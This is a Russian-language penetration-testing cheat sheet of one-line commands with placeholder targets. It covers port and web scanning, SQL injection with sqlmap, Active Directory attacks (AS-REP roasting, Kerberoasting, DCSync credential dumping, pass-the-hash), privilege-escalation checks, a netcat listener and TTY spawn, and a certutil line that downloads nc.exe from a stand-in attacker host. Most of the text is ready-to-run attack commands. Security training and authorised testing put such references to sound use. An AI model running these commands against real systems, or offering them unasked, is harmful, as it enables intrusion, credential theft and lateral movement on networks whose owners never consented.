Часто используемые команды для быстрого доступа. Цели — плейсхолдеры.

Рекон / скан
nmap -p- --min-rate 5000 -T4 IP -oN ports.txt        # все TCP-порты
nmap -pPORTS -sC -sV -A IP -oN detail.txt           # детально по открытым
subfinder -d DOMAIN -silent | httpx -silent -title -tech-detect   # живые web-хосты
nxc smb IP -u '' -p '' --shares                     # SMB null-сессия
Web
ffuf -u http://IP/FUZZ -w list.txt -mc 200,301,302,401,403   # директории
sqlmap -r req.txt --batch --dbs                       # SQLi -> базы
nuclei -u http://IP -severity high,critical            # шаблонный скан
AD
impacket-GetNPUsers DOM/ -usersfile u.txt -no-pass -dc-ip IP   # AS-REP
impacket-GetUserSPNs DOM/user:pass -dc-ip IP -request        # Kerberoast
bloodhound-python -u user -p pass -d DOM -ns IP -c All      # сбор графа
impacket-secretsdump DOM/admin:pass@IP -just-dc            # DCSync
nxc smb CIDR -u admin -H HASH --local-auth               # Pass-the-Hash
Privesc / шеллы / передача
sudo -l; find / -perm -4000 -type f 2>/dev/null      # Linux privesc-старт
whoami /priv; systeminfo                             # Windows privesc-старт
nc -lvnp 4444                                        # слушатель
python3 -c 'import pty;pty.spawn("/bin/bash")'       # спавн TTY
python3 -m http.server 80                            # раздать файлы
certutil -urlcache -f http://ATT/nc.exe nc.exe       # Windows-скачивание
Hashcat-режимы (частые)
-m 0      MD5            -m 1000   NTLM
-m 100    SHA1           -m 5600   NetNTLMv2
-m 1800   sha512crypt    -m 13100  Kerberoast (TGS)
-m 3200   bcrypt         -m 18200  AS-REP
-m 16500  JWT (HS256)    -m 22000  WPA-PBKDF2